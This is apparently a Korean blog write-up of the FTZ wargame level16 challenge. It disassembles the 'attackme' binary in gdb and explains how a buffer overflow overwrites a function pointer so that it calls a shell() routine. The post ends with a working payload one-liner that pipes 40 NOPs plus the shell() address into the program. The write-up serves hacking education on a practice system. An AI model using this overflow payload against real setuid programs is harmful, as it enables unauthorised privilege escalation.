scent2d 2019. 1. 24. 17:44

→ 힌트 정보를 확인한다.





→ 함수포인터다.


→ 우리가 원하는 것은 shell 함수를 실행하는 것이지만, 실제 메인 함수에선 shell 함수가 아닌 printit 함수만 실행한다. 하지만 void (*call)=printit; 부분의 call 함수 포인터가 가리키는 함수의 주소를 shell() 함수의 주소로 변경한다면 shell 함수를 실행할 수 있다.


→ gdb로 디버깅한다.


[level16@ftz level16]$ gdb -q attackme

(gdb)

(gdb)

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048518 <main+0>:    push   ebp

0x08048519 <main+1>:    mov    ebp,esp

0x0804851b <main+3>:    sub    esp,0x38

0x0804851e <main+6>:    mov    DWORD PTR [ebp-16],0x8048500

0x08048525 <main+13>:    sub    esp,0x4

0x08048528 <main+16>:    push   ds:0x80496e8

0x0804852e <main+22>:    push   0x30

0x08048530 <main+24>:    lea    eax,[ebp-56]

0x08048533 <main+27>:    push   eax

0x08048534 <main+28>:    call   0x8048384 <fgets>

0x08048539 <main+33>:    add    esp,0x10

0x0804853c <main+36>:    mov    eax,DWORD PTR [ebp-16]

0x0804853f <main+39>:    call   eax

0x08048541 <main+41>:    leave  

0x08048542 <main+42>:    ret    

0x08048543 <main+43>:    nop    

0x08048544 <main+44>:    nop    

0x08048545 <main+45>:    nop    

0x08048546 <main+46>:    nop    

0x08048547 <main+47>:    nop    

0x08048548 <main+48>:    nop    

0x08048549 <main+49>:    nop    

0x0804854a <main+50>:    nop    

0x0804854b <main+51>:    nop    

0x0804854c <main+52>:    nop    

0x0804854d <main+53>:    nop    

0x0804854e <main+54>:    nop    

0x0804854f <main+55>:    nop    

End of assembler dump.



→ 메인함수의 지역변수를 0x38(56)바이트 할당하는 것을 확인한다.


→ 그리고, lea eax,[ebp-56] 부분에서 buf[20]의 위치가 ebp-56임을 알 수 있다.


→ 그리고, main+6과 main+36에서 알 수 있듯이, ebp-16에 위치하는 값의 주소에 call 함수의 포인터 값이 들어 있음을 추측할 수 있으므로, 메모리 구조는 다음과 같이 예상할 수 있다.




→ 윤곽이 나왔고, shell 함수의 주소 값을 알아내야 한다. gdb로 알아본다.


(gdb) disas shell

Dump of assembler code for function shell:

0x080484d0 <shell+0>:    push   ebp

0x080484d1 <shell+1>:    mov    ebp,esp

0x080484d3 <shell+3>:    sub    esp,0x8

0x080484d6 <shell+6>:    sub    esp,0x8

0x080484d9 <shell+9>:    push   0xc19

0x080484de <shell+14>:    push   0xc19

0x080484e3 <shell+19>:    call   0x80483b4 <setreuid>

0x080484e8 <shell+24>:    add    esp,0x10

0x080484eb <shell+27>:    sub    esp,0xc

0x080484ee <shell+30>:    push   0x80485b8

0x080484f3 <shell+35>:    call   0x8048364 <system>

0x080484f8 <shell+40>:    add    esp,0x10

0x080484fb <shell+43>:    leave  

0x080484fc <shell+44>:    ret    

0x080484fd <shell+45>:    lea    esi,[esi]

End of assembler dump.


→ shell 함수의 주소 값은 0x080484d0 이다.


→ 확인차 printit 함수도 디스어셈블하여, 메인함수에 코딩되어있는 주소 값과 비교해본다.


(gdb) disas printit

Dump of assembler code for function printit:

0x08048500 <printit+0>:    push   ebp

0x08048501 <printit+1>:    mov    ebp,esp

0x08048503 <printit+3>:    sub    esp,0x8

0x08048506 <printit+6>:    sub    esp,0xc

0x08048509 <printit+9>:    push   0x80485c0

0x0804850e <printit+14>:    call   0x80483a4 <printf>

0x08048513 <printit+19>:    add    esp,0x10

0x08048516 <printit+22>:    leave  

0x08048517 <printit+23>:    ret    

End of assembler dump.


→ 메인함수에 코딩되어 있는 주소 값은 아래와 같다.


0x08048518 <main+0>:    push   ebp

0x08048519 <main+1>:    mov    ebp,esp

0x0804851b <main+3>:    sub    esp,0x38

0x0804851e <main+6>:    mov    DWORD PTR [ebp-16],0x8048500

0x08048525 <main+13>:    sub    esp,0x4



→ 따라서, 페이로드의 위치, 주소 값도 알고 있으므로 페이로드를 구성할 수 있다.


(python -c 'print "\x90"*40+"\xd0\x84\x04\x08"';cat)|./attackme